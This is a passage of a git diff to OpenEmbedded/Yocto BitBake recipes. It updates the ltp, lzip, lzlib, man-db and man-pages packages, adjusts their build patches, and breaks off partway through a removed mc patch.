49# work around this by forcing .bfd linked in LD when ld-is-gold is in DISTRO_FEATURES
50KVM_LD = "${@bb.utils.contains_any('DISTRO_FEATURES', 'ld-is-gold ld-is-lld', '${HOST_PREFIX}ld.bfd${TOOLCHAIN_OPTIONS} ${HOST_LD_ARCH}', '${LD}', d)}"
51
48TARGET_CC_ARCH += "${LDFLAGS}" 52TARGET_CC_ARCH += "${LDFLAGS}"
49 53
50export prefix = "/opt/${PN}" 54export prefix = "/opt/${PN}"
@@ -56,17 +60,13 @@ EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
56# ltp network/rpc test cases ftbfs when libtirpc is found 60# ltp network/rpc test cases ftbfs when libtirpc is found
57EXTRA_OECONF += " --without-tirpc " 61EXTRA_OECONF += " --without-tirpc "
58 62
59do_compile_prepend() { 63do_compile() {
60 # Reported at http://lists.linux.it/pipermail/ltp/2021-March/021274.html 64 oe_runmake HOSTCC="${CC_FOR_BUILD}" HOST_CFLAGS="${CFLAGS_FOR_BUILD}" HOST_LDFLAGS="${LDFLAGS_FOR_BUILD}" KVM_LD="${KVM_LD}"
61 # Avoid a race over construction of libswapon.o which is built by swapon and swapoff
62 # but the object differs depending upon which one built it
63 # ("../swapon/libswapon.c" vs "libswapon.c" references)
64 make -C ${B}/testcases/kernel/syscalls/swapon/
65} 65}
66 66
67do_install(){ 67do_install(){
68 install -d ${D}${prefix}/ 68 install -d ${D}${prefix}/
69 oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install 69 oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install
70 70
71 # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run 71 # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
72 # as it lacks dependency on some perl moudle such as LWP::Simple 72 # as it lacks dependency on some perl moudle such as LWP::Simple
@@ -76,21 +76,12 @@ do_install(){
76 # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible 76 # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
77 rm -rf ${D}${prefix}/bin/STPfailure_report.pl 77 rm -rf ${D}${prefix}/bin/STPfailure_report.pl
78 78
79 # Copy POSIX test suite into ${D}${prefix}/testcases by manual
80 cp -r testcases/open_posix_testsuite ${D}${prefix}/testcases
81
82 # Makefile were configured in the build system
83 find ${D}${prefix} -name Makefile | xargs -n 1 sed -i \
84 -e 's@[^ ]*-fdebug-prefix-map=[^ "]*@@g' \
85 -e 's@[^ ]*-fmacro-prefix-map=[^ "]*@@g' \
86 -e 's@[^ ]*--sysroot=[^ "]*@@g'
87
88 # The controllers memcg_stree test seems to cause us hangs and takes 900s 79 # The controllers memcg_stree test seems to cause us hangs and takes 900s
89 # (maybe we expect more regular output?), anyhow, skip it 80 # (maybe we expect more regular output?), anyhow, skip it
90 sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers 81 sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
91} 82}
92 83
93RDEPENDS_${PN} = "\ 84RDEPENDS:${PN} = "\
94 attr \ 85 attr \
95 bash \ 86 bash \
96 bc \ 87 bc \
@@ -102,6 +93,7 @@ RDEPENDS_${PN} = "\
102 e2fsprogs-mke2fs \ 93 e2fsprogs-mke2fs \
103 expect \ 94 expect \
104 file \ 95 file \
96 findutils \
105 gawk \ 97 gawk \
106 gdb \ 98 gdb \
107 gzip \ 99 gzip \
@@ -120,14 +112,33 @@ RDEPENDS_${PN} = "\
120 tar \ 112 tar \
121" 113"
122 114
123FILES_${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a" 115RRECOMMENDS:${PN} += "kernel-module-loop"
116
117FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
124 118
125# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail 119# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
126INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01" 120INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
127INSANE_SKIP_${PN} += "already-stripped staticdev" 121INSANE_SKIP:${PN} += "already-stripped staticdev"
122
123remove_broken_musl_sources() {
124 [ "${TCLIBC}" = "musl" ] || return 0
125
126 cd ${S}
127 echo "WARNING: remove unsupported tests (until they're fixed)"
128
129 # sync with upstream
130 # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33
131 rm -rfv \
132 testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
133 testcases/kernel/syscalls/getcontext/getcontext01.c \
134 testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
135 testcases/kernel/syscalls/timer_create/timer_create01.c \
136 testcases/kernel/syscalls/timer_create/timer_create03.c
137}
138do_patch[postfuncs] += "remove_broken_musl_sources"
128 139
129# Avoid file dependency scans, as LTP checks for things that may or may not 140# Avoid file dependency scans, as LTP checks for things that may or may not
130# exist on the running system. For instance it has specific checks for 141# exist on the running system. For instance it has specific checks for
131# csh and ksh which are not typically part of OpenEmbedded systems (but 142# csh and ksh which are not typically part of OpenEmbedded systems (but
132# can be added via additional layers.) 143# can be added via additional layers.)
133SKIP_FILEDEPS_${PN} = '1' 144SKIP_FILEDEPS:${PN} = '1'
diff --git a/meta/recipes-extended/lzip/lzip_1.22.bb b/meta/recipes-extended/lzip/lzip_1.24.1.bb
index d21c36a3f4..6eda012734 100644
--- a/meta/recipes-extended/lzip/lzip_1.22.bb
+++ b/meta/recipes-extended/lzip/lzip_1.24.1.bb
@@ -1,13 +1,14 @@
1SUMMARY = "Lossless data compressor based on the LZMA algorithm" 1SUMMARY = "Lossless data compressor based on the LZMA algorithm"
2HOMEPAGE = "http://lzip.nongnu.org/lzip.html" 2HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
3DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability."
3SECTION = "console/utils" 4SECTION = "console/utils"
4LICENSE = "GPLv2+" 5LICENSE = "GPL-2.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \ 6LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
6 file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \ 7 file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \
7 " 8 "
8 9
9SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz" 10SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
10SRC_URI[sha256sum] = "c3342d42e67139c165b8b128d033b5c96893a13ac5f25933190315214e87a948" 11SRC_URI[sha256sum] = "30c9cb6a0605f479c496c376eb629a48b0a1696d167e3c1e090c5defa481b162"
11 12
12B = "${WORKDIR}/build" 13B = "${WORKDIR}/build"
13do_configure[cleandirs] = "${B}" 14do_configure[cleandirs] = "${B}"
diff --git a/meta/recipes-extended/lzip/lzlib_1.14.bb b/meta/recipes-extended/lzip/lzlib_1.14.bb
new file mode 100644
index 0000000000..a6010bbf27
--- /dev/null
+++ b/meta/recipes-extended/lzip/lzlib_1.14.bb
@@ -0,0 +1,39 @@
1SUMMARY = "Data compression library providing in-memory LZMA compression and decompression functions"
2HOMEPAGE = "https://www.nongnu.org/lzip/lzlib.html"
3DESCRIPTION = "Lzlib is a data compression library providing in-memory LZMA compression and decompression functions, including integrity checking of the decompressed data. The compressed data format used by the library is the lzip format. Lzlib is written in C. "
4LICENSE = "BSD-2-Clause"
5LIC_FILES_CHKSUM = "file://COPYING;md5=04d943636aa1482e0a97d924d9f4f68f \
6 "
7
8SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzlib/lzlib-${PV}.tar.gz"
9SRC_URI[sha256sum] = "5acac8714ed4f306020bae660dddce706e5f8a795863679037da9fe6bf4dcf6f"
10
11B = "${WORKDIR}/build"
12do_configure[cleandirs] = "${B}"
13
14CONFIGUREOPTS = "\
15 '--srcdir=${S}' \
16 '--prefix=${prefix}' \
17 '--exec-prefix=${exec_prefix}' \
18 '--bindir=${bindir}' \
19 '--datadir=${datadir}' \
20 '--infodir=${infodir}' \
21 '--libdir=${libdir}' \
22 '--sysconfdir=${sysconfdir}' \
23 '--enable-shared' \
24 '--disable-static' \
25 'CC=${CC}' \
26 'CPPFLAGS=${CPPFLAGS}' \
27 'CXXFLAGS=${CXXFLAGS}' \
28 'LDFLAGS=${LDFLAGS}' \
29"
30
31do_configure () {
32 ${S}/configure ${CONFIGUREOPTS}
33}
34
35do_install () {
36 oe_runmake 'DESTDIR=${D}' install
37}
38
39BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
new file mode 100644
index 0000000000..57ecd48b1f
--- /dev/null
+++ b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
@@ -0,0 +1,38 @@
1From e4125223631f0d555fc327da6d8705bcc8ee5ba5 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 9 Feb 2022 17:30:16 -0800
4Subject: [PATCH] man: Move local variable declaration to function scope
5
6There is a clang bug [1] unearthed here, so help clang by re-arranging
7code without changing the logic, until its fixed in clang
8
9[1] https://github.com/llvm/llvm-project/issues/53692
10
11Upstream-Status: Inappropriate [Inappropriate: Clang bug]
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14 src/man.c | 4 ++--
15 1 file changed, 2 insertions(+), 2 deletions(-)
16
17diff --git a/src/man.c b/src/man.c
18index 195d35d..6870989 100644
19--- a/src/man.c
20+++ b/src/man.c
21@@ -379,7 +379,7 @@ static void init_html_pager (void)
22 static error_t parse_opt (int key, char *arg, struct argp_state *state)
23 {
24 static bool apropos, whatis; /* retain values between calls */
25-
26+ char *s;
27 /* Please keep these keys in the same order as in options above. */
28 switch (key) {
29 case 'C':
30@@ -411,7 +411,7 @@ static error_t parse_opt (int key, char *arg, struct argp_state *state)
31 case OPT_WARNINGS:
32 #ifdef NROFF_WARNINGS
33 {
34- char *s = xstrdup
35+ s = xstrdup
36 (arg ? arg : default_roff_warnings);
37 const char *warning;
38
diff --git a/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch b/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
deleted file mode 100644
index 03273d3b49..0000000000
--- a/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
+++ /dev/null
@@ -1,16 +0,0 @@
1The first line of man_db.conf will be replaced by package name. And it causes
2multilib install file conflict. Remove the line to avoid the issue.
3
4Upstream-Status: Pending
5
6Signed-off-by: Kai Kang <kai.kang@windriver.com>
7
8diff --git a/src/man_db.conf.in b/src/man_db.conf.in
9index bc8bb7e..04cfb31 100644
10--- a/src/man_db.conf.in
11+++ b/src/man_db.conf.in
12@@ -1,4 +1,3 @@
13-# @config_file_basename@
14 #
15 # This file is used by the man-db package to configure the man and cat paths.
16 # It is also used to provide a manpath for those without one by examining
diff --git a/meta/recipes-extended/man-db/man-db_2.12.1.bb b/meta/recipes-extended/man-db/man-db_2.12.1.bb
new file mode 100644
index 0000000000..27b47a7f47
--- /dev/null
+++ b/meta/recipes-extended/man-db/man-db_2.12.1.bb
@@ -0,0 +1,72 @@
1SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
2HOMEPAGE = "http://man-db.nongnu.org/"
3DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases."
4LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later & GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
6 file://docs/COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
7 file://docs/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
8 "
9
10SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
11 file://99_mandb \
12 file://0001-man-Move-local-variable-declaration-to-function-scop.patch \
13 "
14SRC_URI[sha256sum] = "ddee249daeb78cf92bab794ccd069cc8b575992265ea20e239e887156e880265"
15
16DEPENDS = "libpipeline gdbm groff-native base-passwd"
17RDEPENDS:${PN} += "base-passwd"
18PACKAGE_WRITE_DEPS += "base-passwd"
19
20# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
21USE_NLS:libc-musl = "no"
22
23inherit gettext pkgconfig autotools systemd
24
25EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}"
26EXTRA_AUTORECONF += "-I ${S}/gl/m4"
27
28PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2"
29PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip"
30PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip"
31PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz"
32PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd"
33PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz"
34
35do_install() {
36 autotools_do_install
37
38 if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
39 install -d ${D}/etc/default/volatiles
40 install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
41 fi
42}
43
44do_install:append:libc-musl() {
45 rm -f ${D}${libdir}/charset.alias
46}
47
48FILES:${PN} += "${prefix}/lib/tmpfiles.d"
49
50FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
51
52RDEPENDS:${PN} += "groff"
53RRECOMMENDS:${PN} += "less"
54# iconv from glibc-utils can be used to transform encoding
55RRECOMMENDS:${PN}:append:libc-glibc = " glibc-utils"
56RPROVIDES:${PN} += "man"
57
58def compress_pkg(d):
59 if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
60 compress = d.getVar("DOC_COMPRESS")
61 if compress == "gz":
62 return "gzip"
63 elif compress == "bz2":
64 return "bzip2"
65 elif compress == "xz":
66 return "xz"
67 return ""
68
69RDEPENDS:${PN} += "${@compress_pkg(d)}"
70
71SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service"
72SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-db/man-db_2.9.4.bb b/meta/recipes-extended/man-db/man-db_2.9.4.bb
deleted file mode 100644
index 432953a1bc..0000000000
--- a/meta/recipes-extended/man-db/man-db_2.9.4.bb
+++ /dev/null
@@ -1,59 +0,0 @@
1SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
2HOMEPAGE = "http://man-db.nongnu.org/"
3LICENSE = "LGPLv2.1 & GPLv2"
4LIC_FILES_CHKSUM = "file://docs/COPYING.LIB;md5=a6f89e2100d9b6cdffcea4f398e37343 \
5 file://docs/COPYING;md5=eb723b61539feef013de476e68b5c50a"
6
7SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
8 file://99_mandb \
9 file://man_db.conf-avoid-multilib-install-file-conflict.patch"
10SRC_URI[sha256sum] = "b66c99edfad16ad928c889f87cf76380263c1609323c280b3a9e6963fdb16756"
11
12DEPENDS = "libpipeline gdbm groff-native base-passwd"
13RDEPENDS_${PN} += "base-passwd"
14PACKAGE_WRITE_DEPS += "base-passwd"
15
16# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
17USE_NLS_libc-musl = "no"
18
19inherit gettext pkgconfig autotools systemd
20
21EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_unitdir}/system"
22EXTRA_AUTORECONF += "-I ${S}/gl/m4"
23
24do_install() {
25 autotools_do_install
26
27 if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
28 install -d ${D}/etc/default/volatiles
29 install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
30 fi
31}
32
33do_install_append_libc-musl() {
34 rm -f ${D}${libdir}/charset.alias
35}
36
37FILES_${PN} += "${prefix}/lib/tmpfiles.d"
38
39FILES_${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
40
41RDEPENDS_${PN} += "groff"
42RRECOMMENDS_${PN} += "less"
43RPROVIDES_${PN} += " man"
44
45def compress_pkg(d):
46 if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
47 compress = d.getVar("DOC_COMPRESS")
48 if compress == "gz":
49 return "gzip"
50 elif compress == "bz2":
51 return "bzip2"
52 elif compress == "xz":
53 return "xz"
54 return ""
55
56RDEPENDS_${PN} += "${@compress_pkg(d)}"
57
58SYSTEMD_SERVICE_${PN} = "man-db.timer man-db.service"
59SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
new file mode 100644
index 0000000000..a644d24328
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
@@ -0,0 +1,31 @@
1From fbf0544138af02be4d6dd3085e7ecf98ad060bb4 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Wed, 13 Mar 2024 17:30:02 +0100
4Subject: [PATCH] GNUmakefile: use env from PATH
5
6This allows using env from coreutils-native (rather than host env),
7which resolves the problem of missing -S option on distributions
8with much older coreutils such as Ubuntu 18.04.
9
10Once all autobuilder distros are newer than that, this patch
11can be dropped, together with corutils-native dependency.
12
13Upstream-Status: Inappropriate [made for obsolete host distros]
14Signed-off-by: Alexander Kanavin <alex@linutronix.de>
15---
16 GNUmakefile | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/GNUmakefile b/GNUmakefile
20index 1234194..65ba327 100644
21--- a/GNUmakefile
22+++ b/GNUmakefile
23@@ -21,7 +21,7 @@
24 ########################################################################
25
26
27-SHELL := /usr/bin/env
28+SHELL := env
29 .SHELLFLAGS := -S bash -Eeuo pipefail -c
30
31
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
new file mode 100644
index 0000000000..ec2d0600c7
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
@@ -0,0 +1,33 @@
1From f16cd8c4986b7f250e8465dfbe4bda8d366e05dd Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Mon, 4 Mar 2024 14:35:16 +0100
4Subject: [PATCH] man.ml: do not use /dev/stdin
5
6This was introduced in https://git.kernel.org/pub/scm/docs/man-pages/man-pages.git/commit/?id=30c38a8bf8ae8f4a6e71d3b8ac4abf0a40778f1e
7(presumably to build a 'sed | install' pipeline instead of previous 'install; sed' sequence),
8but it doesn't work under pseudo where /dev/stdin is absent.
9
10Upstream-Status: Inappropriate [yocto specific]
11Signed-off-by: Alexander Kanavin <alex@linutronix.de>
12---
13 share/mk/install/man.mk | 6 +++---
14 1 file changed, 3 insertions(+), 3 deletions(-)
15
16diff --git a/share/mk/install/man.mk b/share/mk/install/man.mk
17index b9865b9..06880f0 100644
18--- a/share/mk/install/man.mk
19+++ b/share/mk/install/man.mk
20@@ -60,10 +60,10 @@ $(foreach s, $(MANSECTIONS), \
21
22 $(_manpages):
23 $(info INSTALL $@)
24- <$< \
25- $(SED) $(foreach s, $(MANSECTIONS), \
26+ $(INSTALL_DATA) -T $< $@
27+ $(SED) -i $(foreach s, $(MANSECTIONS), \
28 -e '/^\.so /s, man$(s)/\(.*\)\.$(s)$$, $(notdir $(man$(s)dir))/\1$(man$(s)ext)$(Z),') \
29- | $(INSTALL_DATA) -T /dev/stdin $@
30+ $@
31 ifeq ($(LINK_PAGES),symlink)
32 if $(GREP) '^\.so ' <$@ >/dev/null; then \
33 $(GREP) '^\.so ' <$@ \
diff --git a/meta/recipes-extended/man-pages/man-pages_5.10.bb b/meta/recipes-extended/man-pages/man-pages_5.10.bb
deleted file mode 100644
index 8874516aa2..0000000000
--- a/meta/recipes-extended/man-pages/man-pages_5.10.bb
+++ /dev/null
@@ -1,36 +0,0 @@
1SUMMARY = "Linux man-pages"
2DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
3SECTION = "console/utils"
4HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
5LICENSE = "GPLv2+"
6
7LIC_FILES_CHKSUM = "file://README;md5=207f70f56526417514ac46b6680e314f"
8SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz"
9
10SRC_URI[sha256sum] = "f2ce94a7250c49910db91806996699e1deac656097d4d53bdf56bdab4b61f228"
11
12inherit manpages
13
14MAN_PKG = "${PN}"
15
16PACKAGECONFIG ??= ""
17PACKAGECONFIG[manpages] = ""
18
19do_configure[noexec] = "1"
20do_compile[noexec] = "1"
21
22do_install() {
23 oe_runmake install DESTDIR=${D}
24}
25
26# Only deliveres man-pages so FILES_${PN} gets everything
27FILES_${PN}-doc = ""
28FILES_${PN} = "${mandir}/*"
29
30inherit update-alternatives
31
32ALTERNATIVE_PRIORITY = "100"
33ALTERNATIVE_${PN} = "passwd.5 getspnam.3 crypt.3"
34ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
35ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
36ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3"
diff --git a/meta/recipes-extended/man-pages/man-pages_6.06.bb b/meta/recipes-extended/man-pages/man-pages_6.06.bb
new file mode 100644
index 0000000000..0f091bbd7d
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages_6.06.bb
@@ -0,0 +1,50 @@
1SUMMARY = "Linux man-pages"
2DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
3SECTION = "console/utils"
4HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
5LICENSE = "GPL-2.0-or-later & GPL-2.0-only & GPL-1.0-or-later & BSD-2-Clause & BSD-3-Clause & BSD-4-Clause & MIT"
6
7LIC_FILES_CHKSUM = "file://README;md5=72cff06b7954222c24d38bc2c41b234e \
8 file://LICENSES/BSD-2-Clause.txt;md5=9e16594a228301089d759b4f178db91f \
9 file://LICENSES/BSD-3-Clause.txt;md5=407426fcc1a243b7b2eff6e35c56aca9 \
10 file://LICENSES/BSD-4-Clause-UC.txt;md5=1da3cf8ad50cd8d5d1de3cfc53196d01 \
11 file://LICENSES/GPL-1.0-or-later.txt;md5=e5b7c80002ef72ab868b43ce47b65125 \
12 file://LICENSES/GPL-2.0-only.txt;md5=3d26203303a722dedc6bf909d95ba815 \
13 file://LICENSES/GPL-2.0-or-later.txt;md5=3d26203303a722dedc6bf909d95ba815 \
14 file://LICENSES/Linux-man-pages-1-para.txt;md5=97ab07585ce6700273bc66461bf46bf2 \
15 file://LICENSES/Linux-man-pages-copyleft-2-para.txt;md5=1cafc230857da5e43f3d509c425d3c64 \
16 file://LICENSES/Linux-man-pages-copyleft.txt;md5=173b960c686ff2d26f043ddaeb63f6ce \
17 file://LICENSES/Linux-man-pages-copyleft-var.txt;md5=d33708712c5918521f47f23b0c4e0d20 \
18 file://LICENSES/MIT.txt;md5=7dda4e90ded66ab88b86f76169f28663 \
19 "
20SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz \
21 file://0001-man.ml-do-not-use-dev-stdin.patch \
22 file://0001-GNUmakefile-use-env-from-PATH.patch \
23 "
24
25SRC_URI[sha256sum] = "006906e7be81a71c2d347809597bcb91485fa7fa488acdaa79e681ddfa894568"
26
27inherit manpages
28
29# can be dropped when ubuntu 18.04 is not in use anymore
30DEPENDS += "coreutils-native"
31
32MAN_PKG = "${PN}"
33
34PACKAGECONFIG ??= ""
35PACKAGECONFIG[manpages] = ""
36
37do_configure[noexec] = "1"
38do_compile[noexec] = "1"
39
40do_install() {
41 oe_runmake install prefix=${prefix} DESTDIR=${D}
42 rm -rf ${D}${mandir}/man3/crypt.3
43 rm -rf ${D}${mandir}/man3/crypt_r.3
44 rm -rf ${D}${mandir}/man3/getspnam.3
45 rm -rf ${D}${mandir}/man5/passwd.5
46}
47
48# Only deliveres man-pages so FILES:${PN} gets everything
49FILES:${PN}-doc = ""
50FILES:${PN} = "${mandir}/*"
diff --git a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch b/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
deleted file mode 100644
index bf8037cd28..0000000000
--- a/meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch
+++ /dev/null
@@ -1,129 +0,0 @@
1From cdc7c278212ae836eecb4cc9d42c29443cc128a0 Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Thu, 6 Apr 2017 02:24:28 -0700
4Subject: [PATCH] mc: replace "perl -w" with "use warnings"
5
6The shebang's max length is usually 128 as defined in
7/usr/include/linux/binfmts.h:
8 #define BINPRM_BUF_SIZE 128
9
10There would be errors when @PERL@ is longer than 128, use
11'/usr/bin/env perl' can fix the problem, but '/usr/bin/env perl -w'
12doesn't work:
13
14/usr/bin/env: perl -w: No such file or directory
15
16So replace "perl -w" with "use warnings" to make it work.
17
18The man2hlp.in already has "use warnings;", so just remove '-w' is OK.
19
20Upstream-Status: Pending
21
22Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
23---
24 src/man2hlp/man2hlp.in | 2 +-
25 src/vfs/extfs/helpers/a+.in | 4 +++-
26 src/vfs/extfs/helpers/mailfs.in | 3 ++-
27 src/vfs/extfs/helpers/patchfs.in | 3 ++-
28 src/vfs/extfs/helpers/ulib.in | 4 +++-
29 src/vfs/extfs/helpers/uzip.in | 3 ++-
30 6 files changed, 13 insertions(+), 6 deletions(-)
31
32diff --git a/src/man2hlp/man2hlp.in b/src/man2hlp/man2hlp.in
33index f095830..558a674 100644
34--- a/src/man2hlp/man2hlp.in
35+++ b/src/man2hlp/man2hlp.in
36@@ -1,4 +1,4 @@
37-#! @PERL@ -w
38+#! @PERL@
39 #
40 # Man page to help file converter
41 # Copyright (C) 1994, 1995, 1998, 2000, 2001, 2002, 2003, 2004, 2005,
42diff --git a/src/vfs/extfs/helpers/a+.in b/src/vfs/extfs/helpers/a+.in
43index 579441c..fe446f4 100644
44--- a/src/vfs/extfs/helpers/a+.in
45+++ b/src/vfs/extfs/helpers/a+.in
46@@ -1,4 +1,4 @@
47-#! @PERL@ -w
48+#! @PERL@
49 #
50 # External filesystem for mc, using mtools
51 # Written Ludek Brukner <lubr@barco.cz>, 1997
52@@ -9,6 +9,8 @@
53
54 # These mtools components must be in PATH for this to work
55
56+use warnings;
57+
58 sub quote {
59 $_ = shift(@_);
60 s/([^\w\/.+-])/\\$1/g;
61diff --git a/src/vfs/extfs/helpers/mailfs.in b/src/vfs/extfs/helpers/mailfs.in
62index e9455be..059f41f 100644
63--- a/src/vfs/extfs/helpers/mailfs.in
64+++ b/src/vfs/extfs/helpers/mailfs.in
65@@ -1,6 +1,7 @@
66-#! @PERL@ -w
67+#! @PERL@
68
69 use bytes;
70+use warnings;
71
72 # MC extfs for (possibly compressed) Berkeley style mailbox files
73 # Peter Daum <gator@cs.tu-berlin.de> (Jan 1998, mc-4.1.24)
74diff --git a/src/vfs/extfs/helpers/patchfs.in b/src/vfs/extfs/helpers/patchfs.in
